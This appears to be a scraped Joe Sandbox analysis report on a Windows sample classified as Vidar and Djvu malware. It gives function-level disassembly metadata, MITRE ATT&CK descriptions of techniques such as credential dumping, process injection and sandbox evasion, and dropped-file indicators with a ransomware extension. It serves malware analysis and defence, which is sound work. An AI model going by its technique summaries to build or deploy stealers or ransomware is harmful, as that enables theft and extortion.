lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3212c22ca42dc8f76ade31907e0b7b7a5712c5f7dd988cb95cf67c5494a06c08
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 3212c22ca42dc8f76ade31907e0b7b7a5712c5f7dd988cb95cf67c5494a06c08
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: e5c94bc44cf57a372b92b54ac174d1763daff5f3c1caf4189f35d58b11ed2149
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: e5c94bc44cf57a372b92b54ac174d1763daff5f3c1caf4189f35d58b11ed2149
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rq0mVjR9ar.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

C:\ProgramData\DBFBFBGD

C:\ProgramData\GIEHJKEBAAEBGCAAEBFHJKKKEC

C:\SystemID\PersonalID.txt

C:\Users\user\.curlrc

C:\Users\user\.curlrc.bgjs (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Windows Analysis Report
rq0mVjR9ar.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
